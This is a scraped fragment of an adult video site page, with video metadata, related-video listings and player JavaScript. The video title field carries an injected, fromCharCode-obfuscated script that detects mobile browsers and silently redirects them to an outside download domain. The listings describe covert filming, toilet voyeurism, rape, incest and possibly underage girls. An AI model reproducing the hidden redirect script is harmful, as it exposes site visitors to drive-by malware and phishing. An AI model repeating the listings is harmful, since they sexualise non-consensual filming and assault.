</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Foot Massage Shop Pink Lights, Peeping at Pretty Girls in Hot Red Open Crotch Panties, So Alluring
Foot Massage Shop Pink Lights, Peeping at Pretty Girls in Hot Red Open Crotch Panties, So Alluring","site_id":0,"video_url":"https://2605.v155p.com/20260604/PX37RSaM/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTllZjAxMWVhOGJlNmYyMDNjY2U2ZjJkYjlkYmYyOGUuanBn.cache","duration":"26:48","actor":[],"lastmod":1783766805,"rating":"7.0","view_count":235,"description":"A pink light in a foot massage parlor secretly photographed a pretty young lady in a bright red, open-crotch panty—it was so alluring!","tag":["Foot massage","Foot massage parlor","pink lights in foot massage parlor","Little pink light","Pink Light","Secretly filming","Foot bath","Foot massage parlor","pretty","Miss","Miss","elder sister","Opening","underwear"],"site_url":"174463","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTllZjAxMWVhOGJlNmYyMDNjY2U2ZjJkYjlkYmYyOGUuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"足疗店小粉灯偷拍足浴店漂亮小姐姐火红开档内裤太撩人","s_keywords":"足疗店小粉灯偷拍足浴店漂亮小姐姐火红开档内裤太撩人","s_description":"Foot Massage Shop Pink Lights, Peeping at Pretty Girls in Hot Red Open Crotch Panties, So Alluring","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzFlZjllMTEwNDE2NzJkZjU4ODM1NzM0NmE4MjYxMmEuanBn.cache","vod_id":18951410,"title":"HUNTA-130 My sister came to stay overnight while my parents were away. However, we shared a room. It was very cramped.","lastmod":"2025-03-22","duration":"04:02:35","url":"/play/18951410.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjMwNTIyZGEyMjE0ZTBkMzczNzMzMzFkYjA4ZjhkYTAuanBn.cache","vod_id":18955611,"title":"【The Strongest Mother and Son❤️ Incest】The caped boy loves his mother✨ Fishing by the Yangtze River, he has his first outdoor car sex session with his mother. The mother is unbearably itchy and is suspected of being secretly filmed by a passerby. Tense, exciting and really enjoyable.","lastmod":"2025-12-14","duration":"00:26:52","url":"/play/18955611.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWE1MzFjNWM3ZDg1ODQyMWExMzUwYzE1MmUxODVhYzMuanBn.cache","vod_id":18984130,"title":"534CRT-045 18-Hour Wearing Experience [Personal Shooting] A petite girl with a full, perky butt wearing red underwear - a beautiful brown-haired girl and a pleasant pause.","lastmod":"2025-12-14","duration":"01:13:07","url":"/play/18984130.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjNkODQxZWY4NjAwZDMyNDhlMmFiNTQyOGE1YmRmZTEuanBn.cache","vod_id":19003750,"title":"SPZ-1036 Incidents that might occur during a prank shoot with an amateur! Exposed underwear, exposed breasts, and other exposed areas! Sexual harassment during personal filming.","lastmod":"2025-03-23","duration":"01:59:57","url":"/play/19003750.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODdlNzRhMDlmMWQ3MDBiNWVlZTIzNzYyNDI5ZTM1MjQuanBn.cache","vod_id":18934596,"title":"CLUB-546 Close-up Peeping: I Want to See Underwear Up Close! 14 Girls in Uniforms Masturbate Through Their Underwear","lastmod":"2025-12-14","duration":"01:56:45","url":"/play/18934596.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvN2FlODhhMWNjMDIyNGRhZTUyMGEzYjNlYzYxMjkwOWYuanBn.cache","vod_id":19064696,"title":"A master of toilet photography sneaks into an office building to take panoramic photos, part 2.","lastmod":"2025-12-14","duration":"38:50","url":"/play/19064696.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTg3OGQxNDI0MWNkOWJlZTBlMDIzNzQxZDM3NzczMDYuanBn.cache","vod_id":19149557,"title":"#Maid Cafe Girl #Caught Alive #Unprotected Penetration #Cumshot Inside HRSM-124","lastmod":"2026-03-22","duration":"03:12:26","url":"/play/19149557.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjkvMjJiOTZkNzZhZjk2MzYyYTYzNTBiMmNiMTQ5ZWMzYWIuanBn.cache","vod_id":19049257,"title":"I ate my sister's boyfriend's penis for dinner.","lastmod":"2025-08-28","duration":"15:34","url":"/play/19049257.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGY3NTFmZDEzMjgwOTZlNTZiMzQ1M2I5NGY4YjZiYTQuanBn.cache","vod_id":18971780,"title":"IPX-098 Red Light District Paradise: 4 Sex Scenes + Pink Salon + Ogura + Uniform Foot Massage - Nanami Misaki - 240 Minutes Selection - Full Special Edition - 7 Exciting Scenes!!","lastmod":"2025-12-14","duration":"03:59:32","url":"/play/18971780.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWIyMjM5NGFlMmNmZDkxY2RlMjc1NjIzYmIyMWU2NDcuanBn.cache","vod_id":19008180,"title":"My sister struts out her long legs, waiting for me to lick and suck her pink pussy. How comfortable!","lastmod":"2025-03-24","duration":"13:44","url":"/play/19008180.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiYmI3Y2NkZTU2ZDgzYjQ5ZDRlNWRjMzUzN2E1NDguanBn.cache","vod_id":19159546,"title":"Live stream: Sweet young lady in black stockings with open crotch being touched, French kissed, and licked by her best friend; she seems to be a lesbian.","lastmod":"2026-05-23","duration":"01:14:12","url":"/play/19159546.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2E0ZWUwZTAxYWU1NzJlMzdlMTc4M2M4OWFkNGU1YWMuanBn.cache","vod_id":19138210,"title":"A chubby, quiet young woman and her boyfriend having passionate sex.","lastmod":"2026-01-13","duration":"44:54","url":"/play/19138210.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDgvYWQzODMzNWZmMTFlMjA0OTI1OGMwZmM4ZWNkZGQ0ZTQuanBn.cache","vod_id":19056705,"title":"Hidden camera filming, gang rape during sleep, assault and rape with ejaculation inside, group humiliation… The newly recruited female manager is targeted. Four days and three nights of unbearable suffering. (Shirohashi Riho MUKD513)","lastmod":"2025-10-07","duration":"02:18:24","url":"/play/19056705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTMxZDA3YjUwNzBjZmZhZGFhNmU0YjU4NjFhM2EyZjUuanBn.cache","vod_id":18994304,"title":"SHKD-859-CN Gang Rape Plan - Hostess Compilation - Konno Hikaru","lastmod":"2025-03-23","duration":"02:20:12","url":"/play/18994304.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWY0Y2NjM2M3MDVlNzU5M2FiYjY4M2I5YjkxMWJhNDcuanBn.cache","vod_id":18954177,"title":"[Lonely Finance Sister] Playing with a vibrator in the office, even hearing her colleague urinating in the bathroom~ ~✨✨✨ This shift is so exciting, black stockings, sexy pussy, super popular_(new)","lastmod":"2025-12-14","duration":"00:58:36","url":"/play/18954177.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzA0ZDM2Y2QzZGVkYmVjZmQ4NjMwM2MxNTJiMWJjMWUuanBn.cache","vod_id":18971859,"title":"BBAN-345 Newlywed lesbian training ends with her being tied up by her childhood friend's older sister... Ichiki Mahiro, Otsuki Hibiki","lastmod":"2025-12-14","duration":"02:15:46","url":"/play/18971859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDEvNzdlMzEzYWM3MzZlY2Y4M2NmNDA1OGFkYWJmOTQ2MjcuanBn.cache","vod_id":19035980,"title":"A cute young lady's live stream showcasing her youthful face and large breasts is incredibly alluring.","lastmod":"2025-06-01","duration":"23:25","url":"/play/19035980.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDI0NGU5NTcxMDcxMWQ2NWYxMjZhN2IxY2JkYTRhZTUuanBn.cache","vod_id":18945223,"title":"HOISW-002 Sweet! Champion 2: A beautiful girlfriend with perks! ・Role-playing・Doujinshi・Funny Anecdotes","lastmod":"2025-03-22","duration":"02:32:25","url":"/play/18945223.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDEzNzE2NzIzNjM3ZTI2YjE3NTc2ZDg2ZWNkZDllYjMuanBn.cache","vod_id":18960888,"title":"SSNI-295, the most erotic masterpiece in the history of 3DCG doujinshi, has been made into a live-action movie! Summer Promise ~Memories of the summer spent with my sister~ Aoi","lastmod":"2025-03-22","duration":"02:28:00","url":"/play/18960888.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjRhNGFiNjhhNGIwZGNjNzJmMzkxNTNiY2M5YzVhYjkuanBn.cache","vod_id":19140875,"title":"Files of Hiding Mature Women and Housewives (Hidden Camera Footage) 60 FFFS-068","lastmod":"2026-02-01","duration":"02:39:28","url":"/play/19140875.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTk4NmY5Yzc5NjdlNDRkYzcyY2JlMjYxOGU5ZjJlZWEuanBn.cache","vod_id":18991296,"title":"[Fruit Pie] I was alone with my girlfriend's beautiful older sister when we suddenly kissed and she licked her indecently.","lastmod":"2025-03-23","duration":"19:55","url":"/play/18991296.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTMxMmY1ZjYyMDI4ODRhNTdjZGRlZDhmMjRkYjM3ZGMuanBn.cache","vod_id":18944354,"title":"Two young men, each with a beautiful young girlfriend, checked into a hotel. They took turns directing how to have sex with the two women, using cucumbers and carrots as bait. The girls were so young! (Mandarin)","lastmod":"2025-03-22","duration":"03:34:38","url":"/play/18944354.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODIzYmNkMzIwYjk2MjgwZmZiNzI2NDNjOGUxMTgzMmEuanBn.cache","vod_id":18999386,"title":"The allure of a beautiful, mature female streamer in stockings~","lastmod":"2025-03-23","duration":"12:30","url":"/play/18999386.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTViZWYyYzM5ZDkzNTE0YTgzYzJjZWJiOTc1YTRmMTguanBn.cache","vod_id":18991949,"title":"300NTK-199 Ghostly Beauty Top-Tier Former Delinquent Girl Reverses Sex with Guys!! Finger Ejaculation! Even during sex, you'll squirt! Even after it's over, she'll still squirt! Endless squirting will make you die in the night!! It's amazing to have one-on-one sex with this slut who has slept with about 1,000 men!! Begging for raw penetration into her super sensitive ass!? Socialite Lina appears, convulsing wildly, then turning the tables and knocking you down in a cowgirl position!! Love Hotel Documentary Break 2 Hours 031","lastmod":"2025-03-23","duration":"01:09:14","url":"/play/18991949.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Foot Massage Shop Pink Lights, Peeping at Pretty Girls in Hot Red Open Crotch Panties, So Alluring',
language: 'en',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link copied!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link copied!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link copied!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}